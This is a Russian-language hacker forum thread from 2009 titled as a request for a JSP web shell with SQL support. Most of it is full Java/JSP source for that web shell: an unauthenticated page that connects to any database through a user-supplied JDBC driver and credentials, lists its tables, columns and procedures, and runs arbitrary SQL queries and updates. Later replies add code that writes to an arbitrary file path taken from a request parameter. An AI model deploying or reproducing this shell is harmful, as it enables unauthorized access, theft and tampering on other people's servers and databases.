web shell с SQL на JSP (java)

Discussion in 'PHP' started by guestXXXXX, 14 Apr 2009.

  1. guestXXXXX

    guestXXXXX Banned

    Joined:
    26 Jul 2008
    Messages:
    65
    Likes Received:
    50
    Reputations:
    3
    hello world нужен.
     
    #1 guestXXXXX, 14 Apr 2009
    Last edited: 18 Jun 2010
  2. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    ошибки ж написало
     
  3. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    PHP:
    package org.apache.jsp;

    import javax.servlet.*;
    import javax.servlet.http.*;
    import javax.servlet.jsp.*;
    import org.apache.jasper.runtime.*;
    import java.util.*;
    import java.io.*;
    import java.sql.*;

    public class 
    testo_jsp extends HttpJspBase {


    //connection to the database
    void ConnectionDBM(JspWriter out,String driver,String url,String userName,String passWord,String sqlAction,String sqlCmd)throws Exception{
     
    DBM dbm=new DBM(driver,url,userName,passWord,out);
     if(
    sqlAction.equals("LDB")){
      
    dbm.lookInfo();
     }else{
      
    dbm.executeSQL(sqlCmd);
     }
     
    dbm.closeAll();
    }
    //database manager class
    class DBM{
        private 
    JspWriter out;
        private 
    Connection con;
        private 
    Statement stmt;
        private 
    ResultSet rs;
        public 
    DBM(String driverName,String url,String userName,String passWord,JspWriter out)throws Exception{
            Class.
    forName(driverName);
            
    this.out=out;
            
    con=DriverManager.getConnection(url,userName,passWord);
        }
        public 
    void lookInfo()throws Exception{
         
    DatabaseMetaData dbmd=con.getMetaData();
         
    String tableType=null;
         
    out.print("<strong>DataBaseInfo</strong><table>");
         
    out.print("<tr><td>DataBaseName:</td><td>"+dbmd.getDatabaseProductName()+"</td></tr>");
         
    out.print("<tr><td>DataBaseVersion:</td><td>"+dbmd.getDatabaseProductVersion()+"</td></tr>");
         
    out.print("<tr><td>the Numeric Function:</td><td>"+dbmd.getNumericFunctions()+"</td></tr>");
         
    out.print("<tr><td>the String Function:</td><td>"+dbmd.getStringFunctions()+"</td></tr>");
         
    out.print("<tr><td>the TimeDate Function:</td><td>"+dbmd.getTimeDateFunctions()+"</td></tr>");
         
    out.print("<tr><td>the System Function:</td><td>"+dbmd.getSystemFunctions()+"</td></tr>");
         
    out.print("</table>");
         
    out.print("<strong>ProcedureInfo</strong><table>");
         try{
          
    getProcedureDetail(dbmd.getProcedures(null,null,null));
         }catch(
    Exception proE){}
        
         
    //show  all the tables
         
    try{
          
    rs=dbmd.getTables(null,null,null,null);
         }catch(
    Exception tabE){}
         
    out.print("<strong>DataBase Tables Info</strong><br>");
         while(
    rs.next()){
          
    tableType=rs.getString(4);
          
    out.print("<strong>TableName:</strong>"+rs.getString(3)+" <strong>Type:</strong>"+tableType+"<br>");
          if(
    tableType.indexOf("VIEW")>=0||tableType.indexOf("TABLE")>=0){
           try{
            
    getTableDetail(dbmd.getColumns(null,null,rs.getString(3),null));
           }catch(
    Exception columnE){}
          }
         }
         
    this.closeAll();
        }
        
    //show the column information
        
    private void getTableDetail(ResultSet tableRs)throws Exception{
            
    out.print("<table border=1><tr><td>COLUMN_NAME</td><td>DATA_TYPE</td><td>TYPE_NAME</td><td>COLUMN_SIZE</td><td>IS_NULLABLE</td><td>CHAR_OCTET_LENGTH</td></tr>");
            while(
    tableRs.next()){
                
    out.print("<tr><td>"+tableRs.getString(4)+"</td><td>"+tableRs.getInt(5)+"</td><td>"+tableRs.getString(6)+"</td><td>"+tableRs.getInt(7)+"</td><td>"+tableRs.getString(18)+"</td><td>"+tableRs.getInt(16)+"</td></tr>");
            }
            
    out.print("</table>");
            
    tableRs.close();
        }
        
    //show all the procedures
        
    private void getProcedureDetail(ResultSet procRs)throws Exception{
         
    out.print("<table border=1><tr><td>PROCEDURE_NAME</td><td>REMARKS</td><td>PROCEDURE_TYPE</td></tr>");
         while(
    procRs.next()){
          
    out.print("<tr><td>"+procRs.getString(3)+"</td><td>"+procRs.getString(7)+"</td><td>"+procRs.getShort(8)+"</td></tr>");
         }
         
    out.print("</table>");
         
    procRs.close();
        }
        
    //run the sql command
        
    public void executeSQL(String sqlCmd)throws Exception{
         
    stmt=con.createStatement();
         if(
    sqlCmd.trim().toLowerCase().startsWith("select")){
          
    rs=stmt.executeQuery(sqlCmd);
          
    ResultSetMetaData rsmd=rs.getMetaData();
          
    int ColumnCount=rsmd.getColumnCount();
          
    out.print("<table border=1><tr>");
          for(
    int i=1;i<=ColumnCount;i++){
           
    out.print("<td>"+rsmd.getColumnName(i)+"</td>");
          }
          
    out.print("</tr>");
          while(
    rs.next()){
           
    out.print("</tr>");
              for(
    int i=1;i<=ColumnCount;i++){
               
    out.print("<td>"+rs.getString(i)+"</td>");
              }
              
    out.print("</tr>");
          }
         }else{
          
    stmt.executeUpdate(sqlCmd);
          
    out.print("execute success");
         }
        
        
        }
        
    //close all the resource
        
    public void closeAll()throws SQLException{
            try{
                if(
    rs!=null)rs.close();
            }catch(
    Exception e){
            }
            try{
                if(
    stmt!=null)stmt.close();
            }catch(
    Exception e){
            }
            try{
             if(
    con!=null)con.close();
            }catch(
    Exception e){
            }
        }
    }


      private static 
    java.util.Vector _jspx_includes;

      public 
    java.util.List getIncludes() {
        return 
    _jspx_includes;
      }

      public 
    void _jspService(HttpServletRequest requestHttpServletResponse response)
            
    throws java.io.IOExceptionServletException {

        
    JspFactory _jspxFactory null;
        
    javax.servlet.jsp.PageContext pageContext null;
        
    HttpSession session null;
        
    ServletContext application null;
        
    ServletConfig config null;
        
    JspWriter out null;
        
    Object page this;
        
    JspWriter _jspx_out null;


        try {
          
    _jspxFactory JspFactory.getDefaultFactory();
          
    response.setContentType("text/html;charset=ISO-8859-1");
          
    pageContext _jspxFactory.getPageContext(thisrequestresponse,
                      
    nulltrue8192true);
          
    application pageContext.getServletContext();
          
    config pageContext.getServletConfig();
          
    session pageContext.getSession();
          
    out pageContext.getOut();
          
    _jspx_out out;

          
    out.write("\r\n");
          
    out.write("\r\n");
          
    out.write("<HTML>");
          
    out.write("<BODY>\r\n\t\r\n");
          
    out.write("<script type=\"text/javascript\">\r\n\r\n    function setDataBase(f){\r\n        driverName=new Array();\r\n        driverName[0]=\"com.sybase.jdbc2.jdbc.SybDriver\";\r\n        driverName[1]=\"com.microsoft.jdbc.sqlserver.SQLServerDriver\";\r\n        driverName[2]=\"com.mysql.jdbc.Driver\";\r\n        driverName[3]=\"oracle.jdbc.driver.OracleDriver\";\r\n        driverName[4]=\"com.ibm.db2.jdbc.app.DB2Driver\";\r\n        driverName[5]=\"org.postgresql.Driver\";\r\n        conUrl=new Array();\r\n        conUrl[0]=\"jdbc:jtds:sybase://host:port/database\";\r\n        conUrl[1]=\"jdbc:microsoft:sqlserver://host:port;DatabaseName=\";\r\n        conUrl[2]=\"jdbc:mysql://host:port/database\";\r\n        conUrl[3]=\"jdbc:oracle:thin:@host:port:database\";\r\n        conUrl[4]=\"jdbc:db2://host:port/database\";\r\n        conUrl[5]=\"jdbc:postgresql://host:port/database\";\r\n       \r\n        f.driver.value=driverName[f.DB.selectedIndex];\r\n        f.conUrl.value=conUrl[f.DB.selectedIndex];\r\n    }\r\n");
          
    out.write("</script>\r\n\r\n");
          
    out.write("<tr>\r\n\t");
          
    out.write("<FORM METHOD=\"POST\" NAME=\"myforms\" ACTION=\"\">\r\n\t");
          
    out.write("<select name=DB onChange='setDataBase(this.form);'> ");
          
    out.write("<option>Sybase");
          
    out.write("</option>");
          
    out.write("<option>Mssql");
          
    out.write("</option>");
          
    out.write("<option>Mysql");
          
    out.write("</option>");
          
    out.write("<option>Oracle");
          
    out.write("</option>");
          
    out.write("<option>DB2");
          
    out.write("</option>");
          
    out.write("<option>PostgreSQL");
          
    out.write("</option>");
          
    out.write("</select>");
          
    out.write("</td>\r\n\t");
          
    out.write("<td>Driver:");
          
    out.write("<input name=driver type=text>URL:");
          
    out.write("<input name=conUrl type=text>user:");
          
    out.write("<input name=user type=text size=3>pass:");
          
    out.write("<input name=password type=text size=3>");
          
    out.write("</td>\r\n\t");
          
    out.write("<td>SqlCmd:");
          
    out.write("<input type=text name=sqlcmd title='select * from admin'>\r\n\t");
          
    out.write("<input name=run type=submit value=Exec>");
          
    out.write("</td>\r\n\t");
          
    out.write("<td>");
          
    out.write("<input name=run type=submit value=LDB>");
          
    out.write("</td>\r\n\t");
          
    out.write("</form>\r\n");
          
    out.write("</tr>\r\n");

    if (
    request.getParameter("run") != null) {
        
    //ConnectionDBM(out,encodeChange(request.getParamete  r("driver")),encodeChange(request.getParameter("conUrl")),encodeChange(request.getParameter("user")),encodeChange(request.getParameter("password")),encodeChange(request.getParameter("run")),encodeChange(request.getParameter("sqlcmd")));
        
    ConnectionDBM(out,request.getParameter("driver"),request.getParameter("conUrl"),request.getParameter("user"),request.getParameter("password"),request.getParameter("run"),request.getParameter("sqlcmd"));
            
    out.close();

          
    out.write("\r\n");
          
    out.write("</BODY>");
          
    out.write("</HTML>");
       
      }
    }

    catch (
    Throwable t) {
          
    out _jspx_out;
          if (
    out != null && out.getBufferSize() != 0)
            
    out.clearBuffer();
          if (
    pageContext != nullpageContext.handlePageException(t);
        } finally {
          if (
    _jspxFactory != null_jspxFactory.releasePageContext(pageContext);
        }
    }

    }
    не понял тебя, как это генерит.

    у меня норм скомпилилось все )
     
    #3 ShAnKaR, 15 Apr 2009
    Last edited: 15 Apr 2009
  4. Forcer

    Forcer Elder - Старейшина

    Joined:
    12 Apr 2007
    Messages:
    321
    Likes Received:
    98
    Reputations:
    12
    Что означает эта фраза?


    Чтобы писать в файл тебе нужно заменить
    Code:
    out = pageContext.getOut();
    на то что ты написал:
    Code:
    java.io.FileWriter fw = new java.io.FileWriter(request.getParameter("file"));
    java.io.PrintWriter pw = new java.io.PrintWriter(fw);
    pw.println("<foo>Hello world!</foo>");
     
  5. Forcer

    Forcer Elder - Старейшина

    Joined:
    12 Apr 2007
    Messages:
    321
    Likes Received:
    98
    Reputations:
    12
    Переделай конструктор класса. Поменяй у последнего параметра( out ) класс на PrintWriter. В самом классе у поля out класс тоже поменяй на PrintWriter. И передавай в конструкторе объект PrintWiter'a.
     
    1 person likes this.